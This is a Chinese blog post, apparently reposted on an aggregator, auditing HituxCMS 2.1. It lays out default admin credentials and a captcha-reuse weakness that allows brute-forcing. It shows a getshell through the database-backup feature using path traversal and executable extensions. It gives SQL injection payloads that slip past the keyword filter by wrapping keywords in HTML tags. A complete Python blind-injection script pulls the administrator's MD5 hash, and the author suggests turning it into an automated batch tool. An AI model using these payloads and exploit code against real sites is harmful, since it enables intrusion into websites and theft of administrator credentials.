摘要:一系統介紹海納企業網站管理系統是海納網絡工作室專業為企業建站而開發的一款網站程序。是企業建站的絕佳選擇系統三大特色全靜態全站生成靜態頁面。夠簡單擁有完善后臺管理系統,所有內容均可在后臺進行更新。登錄會話產生登陸成功時記錄對字段進行驗證。
〇.前言
本文為篤行日常工作記錄,這篇審計文章,也是在2014年國慶期間寫的,比較簡單。意在展現一個完整的開源CMS代碼手工審計的過程,從未發表過,三年過去了,回過頭看還是優點意義的,故這次發出來,一起學習~。
通過本文你可以獲取HituxCMS 2.1版本的漏洞發掘過程,getshell和sql注入。
海納企業網站管理系統(HituxCMS)是海納網絡工作室(Hitux.com)專業為企業建站而開發
的一款網站程序。該系統采用最簡單易用的 asp+access 進行搭建,擁有完善的網站前后臺,
并特別根據企業網站的特點開發出獨具特色的欄目和功能。 HituxCMS 是企業建站的絕佳選
擇!
系統三大特色:
1、全靜態:全站生成.html 靜態頁面。降低服務器壓力,增強百度收錄。
2、高優化:特別針對搜索引擎進行優化處理,讓客戶快速找到你。
3、 夠簡單:擁有完善后臺管理系統,所有內容均可在后臺進行更新。非專業人士也可
操作。
系統核心目錄結構如下:
其中 AdminBeat 為后臺目錄, 整站的管理功能模塊都在此目錄中完成, Data21923 是數
據庫存放目錄。這兩個目錄一般會改名做最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 戶 可 以 直 接 調 用 的 功 能 , rss/index.asp
search/index.asp, RSS 訂閱和搜索。
Inc 目錄為基礎的通用包含模塊目錄,功能如下:
文件名 | 功能 |
---|---|
/x_to_html 后臺生成靜態模塊集合 | 后臺生成靜態模塊集合 |
Access.asp | 權限驗證模塊 |
AntiAttack.asp | 攻擊防御模塊 |
article_view.asp | 文章閱讀計數器 |
comment.asp | 留言模塊 |
conn.asp | 數據庫連接模塊 |
Create.asp | 創建文件夾模塊 |
GetCode.asp | 驗證碼生成模塊 |
html_clear.asp | Html 實體/XSS 過濾模塊 |
Md5.asp | MD5 算法類 |
page_list.asp | 分頁模塊 |
rand.asp | 隨機數模塊 |
web_config.asp | 站點基本配置讀取模塊 |
AdminBeat 目錄下功能繁多,就不一一列舉,且后臺在實戰中經常改變的。 就例舉常用敏感
功能。
文件名 | 功能 |
---|---|
/KEditor | KindEditor 目錄,版本: 4.1.3 |
/PicUpload | 圖片上傳模塊 |
/PicUpLoad2 | 圖片上傳模塊 |
Data_xxxx.asp | 數據庫操作模塊 |
admin_login.asp | 管理員登錄驗證模塊 |
upfile.asp upfile_photo.asp upload.inc | 文件上傳 |
表名 | 作用 |
---|---|
Article | 文章 |
Category | 文章分類 |
Web_admin | 管理員信息表(密碼帳號權限) |
Web_article_comment | 文章評論 |
Web_models | 模版主題 |
Web_settings | 系統配置 |
其中Web_Admin 表結構如下
管理員密碼以 md5-16 形式存放于 password 字段。
2.4 系統缺省設置缺省項目 | 作用 |
---|---|
后臺目錄 /adminbeat 管理員登錄 | 系統最重要的 |
默認數據庫目錄/Data21293/NYIKUGY5434231.mdb | 系統持久化文件敏感信息 |
默認管理員密碼帳號 admin/admin | 登錄后臺用,擁有系統的最高權限 |
? 本系統對于用戶純靜態,沒有動態的文件展示。只有rss.asp/serach.asp/comment.asp 交
互用,也沒有普通用戶的系統,所有的操作都在后臺進行。
? 權限驗證總體來說做的還不錯,粗看沒有找到能越權操作的地方, 且驗證比較合理,狀
態采用 Session 機制保存,系統 Session 字段如下:
Session | 作用 |
---|---|
Session("log_name") | 判斷是否登錄用 |
Session("getcode") | 驗證碼記錄字段 |
Session("log_role") | 管理員權限字段 |
? 這里引入的 Session 機制非常合理,充分避免了一些權限繞過的問題。
登錄會話產生 session
If Not (rs.bof Or rs.eof) Then Session("log_name")=rs("username") Session("log_role")=rs("class") session.Timeout=1000
Admin_login.asp 登陸成功時記錄 Session
<% "chk session If Session("log_name")="" Then response.redirect "login.asp" %> <% End If %>
Access.asp 對 Session 字段進行驗證。
<% Session.Abandon() Response.Redirect "login.asp" %>
Loingout.asp 銷毀 Session
三.系統整體防御體系分析 3.1 用戶權限/越權操作防御上文中 Session 機制引入,驗證模塊 Access.asp。在所有的后臺功能操作模塊均包含了
Access.asp。
所以越權操作基本不存在,權限字段似乎也沒什么用,只要是管理員能就能操作后臺。
3.2 SQL注入防御主要有 2 個文件 inc/AntiAttack.asp、 Adminbeat/Inc/Functions.asp
Err_Message = 1 "處理方式: 1=提示信息,2=轉向頁面,3=先提示再轉向 Err_Web = "Err.Asp" "出錯時轉向的頁面 Query_Badword=""‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖ script‖alert" "在這部份定義 get 非法參數,使用"‖"號間隔 Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" "在這部份定義 post 非法參數,使用"‖" 號間隔 "------定義部份 尾----------------------------------------------------------------------- " On Error Resume Next "----- 對 get query 值 的過濾. if request.QueryString<>"" then Chk_badword=split(Query_Badword,"‖") FOR EACH Query_form_name IN Request.QueryString for i=0 to ubound(Chk_badword) If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then Select Case Err_Message 報錯語句 if request.form<>"" then Chk_badword=split(Form_Badword,"‖") FOR EACH form_name2 IN Request.Form for i=0 to ubound(Chk_badword) If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then Select Case Err_Message 報錯語句
可以發現本系統對 get 參數和 post 參數進行了基本過濾, 但顯然 post 參數過濾的關鍵詞不多, 且過濾方式是模式匹配,請求參數只要完整包含過濾詞中的其中一個則會出現
如下錯誤:
過濾一些 T-SQL 的關鍵詞,看似還算安全,此文件非函數封裝,只要包含了此文件都會起
到防御功能。
Adminbeat/Inc/Functions.asp 中, GetSafeStr 函數過濾引號分號。
Function GetSafeStr(str) GetSafeStr = Replace(Replace(Replace(Trim(str), """, ""), Chr(34), ""), ";", "") End Function
這是個函數需要主動調用這個函數才能起到防御作用。
3.3 XSS防御文件 inc/html_clear.asp
HTML 過濾就不具體分析了,下文具體漏洞挖掘中用到再分析。
以登錄為例: AdminBeat/login.asp
? 驗證碼通過/inc/getcode.asp 請求并且寫入 session,如果登錄失敗,則會返回到 login.asp頁面,但是刷新驗證碼是通過 HTML 腳本實現的,只要我們請求一次驗證碼,在這個會話周期和 SESSION 周期里,我們只要不重新去請求/inc/getcode.asp 那么驗證碼是不會變的!于是就可以寫一個后臺管理員密碼爆破工具。
4.2 后臺 GetShell? 如果有了后臺權限那 GetShell 還是很簡單的,這里我沒有詳細挖掘上傳漏洞,就直接使
用數據庫備份功能[內容管理->數據管理->數據備份]。
? 看備份代碼:
act=Request("act") If act="save" Then NewData=replace(LCase(request("NewData")),".asp",".mdb") if NewData=request("OldData") then response.Write "" response.end else Set fso=CreateObject("Scripting.FileSystemObject") filesource=server.MapPath(DataFolder&"/"&request("OldData")) fileto=server.MapPath(DataFolder&"/"&NewData) if fso.fileexists(filesource)
? 可以發現,簡單的把.asp 替換程.mdb,當時沒有考慮 asa, cer,aspx 也能執行的情況。
其次備份文件路徑沒有做限制,可以構造../1.cer 跳到根目錄,在我們不知道數據庫目錄的情況下可以把文件備份到根目錄。那么就可以在數據庫中插入我們的惡意語句或者上傳一個文件用備份方式修改后綴名獲取 WEBSHELL。
4.3 留言板SQL注入? 直接進入主題,留言板前端位于/ FeedBack/index.html
? 后端代碼為/inc/comment.asp
<%"判斷 if request("act")="add" then article_id=request("id") name1=trim(request.form("name")) email1=trim(request.form("email")) qq1=trim(request.form("qq")) comment=trim(request.form("content")) input_code=trim(request.form("verycode")) url1=trim(request.form("homepage")) image1=trim(request.form("img")) if comment="" then response.Write "" else if request("verycode")="" then response.write "" Response.End elseif session("getcode")="9999" then session("getcode")="" elseif session("getcode")="" then response.write "" Response.End elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then response.write "" Response.End end if
? 引入了防注入文件和 CSS 過濾文件看來比較安全,留言通過 POST 表單形式提交的,繼續看
代碼。
set rs=server.createobject("adodb.recordset") sql="select * from web_article_comment where [content]=""&nohtml(comment)&""" rs.open(sql),cn,1,3 if not rs.eof then response.Write "" else rs.addnew if article_id<>"" then rs("article_id")=article_id end if
? 發表留言是,會對留言內容進行查庫判重復。
sql="select * from web_article_comment where [content]=""&nohtml(comment)&"""
? 這里我們能控制的是 comment 字段,再看上面 post 參數過濾代碼,沒有對引號之類的進行
過濾。
? 提交數據
提示不要重復, 看來已經繞過了注入過濾。那么構造一條查詢有結果集的語句,如果庫內沒有任何留言我們可以先留言一個( 為了構造語句,使得查詢結果集有結果)。
我們要構造成這樣
select * from web_article_comment where [content]="anything" or "1"="1"
? 繼續提交數據
? 提示被過濾了!
原來是 AntiAttack.asp 中過濾的 = 符號
那我們改成這樣,也能達到條件
select * from web_article_comment where [content]="anything" or "1"<"2"
符合我們的預期,說明確實被帶入語句查詢了!看來注入點存在,那我們讓條件不滿足,應該會提示留言已經發布成功!
繼續再提交
select * from web_article_comment where [content]="anything" or "1">"2"
結果如下:
注入存在!
前文提到過 web_admin 表中的管理員數據,那我們來構造語句注入吧, 但是這個注入點是
不會把查詢結果回顯到前端,那么只能偽盲注,為什么叫偽盲注呢,因為還是有留言成功和
不成功的兩種狀態的。直接進入主題。 按位猜解。
select * from web_article_comment where [content]="anything"or "1">"2" union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>"a"
根據返回結果來判斷密碼的某一位是否是一個值,又因為 md5-16 加密,那么值的范圍肯定
是屬于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }。
那么最壞情況下猜解 16 x 16 次即可把密碼完全解出來,我們來驗證下。 默認密碼 MD5 是
“7a57a5a743894a0e”
那我們提交
anything"or "1">"2" union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)<"8
應該返回留言重復。
提交
anything"or "1">"2" union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)< "7
應該返回留言發表成功。
哦對了,我們引入了 select union 等被過濾的詞。那么我們來繞過過濾!
感謝過濾 XSS 模塊給我的幫助,見上文。
sql="select * from web_article_comment where [content]=""&nohtml(comment)&"""
我們來看看 nohtml 這個函數的實現,其中有代碼:
re.Pattern="(<.[^<]*>)" str=re.replace(str,"") re.Pattern="([^<]*>)" str=re.replace(str,"") re.Pattern="/(^[s]*)/g" str=re.replace(str,"")
太棒了,我們可以把 select 改成 select 這種, 在處理的時候直接繞過了注入監測,然后在查庫前通過 nohtml 函數把 select 又還原程了 select!太幸福,那么分分鐘就可以寫出了簡單的 exp,然后有了這個過 waf 也是簡單的,我們可以填充任意 html 元素!
def get( idx,key ): s = "ly"or "1">"2" union select id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,%d,1)<"%c"%(idx,key) #print s httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request( "http://localhost/inc/comment.asp?act=add&id=" ) request.add_header("Accept", "text/html,*/*") request.add_header("Connection", "Keep-Alive") request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM") datax = {"name":"f","content": s,"verycode":"0663"} print datax datax = urllib.urlencode(datax) try: opener = urllib2.build_opener() d = opener.open(request,data=datax, timeout=5).read() d = d.decode("utf8").encode("gbk") print d if( d.find( "成功" ) != -1): return 0 else: return 1 #存在 except Exception, e: return 0 def binarydriver( s,e,keys): while s <= e: m = (s+e)//2 print m if get(keys[m])>0: e = m - 1 elif e - s > 0: s = m + 1 else: return keys[m] binarydriver(s,e,keys) def check_jcfile(idx): s = "/0123456789abcdefg" l = 0 ll = 0 for i in range(0, 17): l = get(idx,s[i]) if ll == 0 and l == 1: return s[i - 1] ll = l return "0 def main(argv): md5 = ""; for i in range(1, 17): md5 = md5 + check_jcfile( i ) print md5
EXP 沒有加優化,只是遍歷的,如果用二分法( ’0123456789abcdef’) 是有序的,可以把枚
舉的復雜度降低到 log16。大大加快了 EXP 的速度,其次 EXP 可以把驗證碼識別下,做到全自動批量工具,百度一下還是效果不錯的。
最后 ending…如有不足請指點,亦可留言或聯系 fobcrackgp@163.com.
本文為篤行原創文章首發于大題小作,永久鏈接:海納企業網站管理系統HituxCms2.1代碼審計GETSHELL+注入
https://www.ifobnn.com/hituxcms0day.html
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/11300.html
摘要:近日施耐德電氣爆出的漏洞,首先得到了一個本地包含,在這里作為靶目標使用。配置文件中獲得了錯誤日志的路徑,且關閉了訪問日志。利用思路整理那么我們可以利用錯誤日志來構造合法的代碼,從而利用包含漏洞。了解何時會向錯誤日志寫入內容。 0前言 在WEB滲透測試中尤其是PHP,經常會挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這里給一個思路,拋磚引玉。 近日施耐德電氣爆出的漏洞...
摘要:近日施耐德電氣爆出的漏洞,首先得到了一個本地包含,在這里作為靶目標使用。配置文件中獲得了錯誤日志的路徑,且關閉了訪問日志。利用思路整理那么我們可以利用錯誤日志來構造合法的代碼,從而利用包含漏洞。了解何時會向錯誤日志寫入內容。 0前言 在WEB滲透測試中尤其是PHP,經常會挖到LFI漏洞,想要GETSHELL,但無奈沒有文件上傳的途徑,這里給一個思路,拋磚引玉。 近日施耐德電氣爆出的漏洞...
摘要:我們做代碼審計之前選好工具也是十分必要的。一審計工具介紹代碼審計系統功能介紹是一款基于開發的針對代碼安全審計的軟件。自定義審計規則。黑盒敏感信息泄露一鍵審計。挖掘這種漏洞主要是檢查是否使用了,搜索和。 GitChat 作者:湯青松原文:PHP 開發者如何做代碼審查?關注微信公眾號:「GitChat 技術雜談」 一本正經的講技術 【不要錯過文末彩蛋】 前言 工欲善其事,必先利其器。我們做...
閱讀 3740·2021-10-15 09:42
閱讀 2602·2021-09-03 10:50
閱讀 1641·2021-09-03 10:28
閱讀 1795·2019-08-30 15:54
閱讀 2516·2019-08-30 12:46
閱讀 411·2019-08-30 11:06
閱讀 2825·2019-08-30 10:54
閱讀 527·2019-08-29 12:59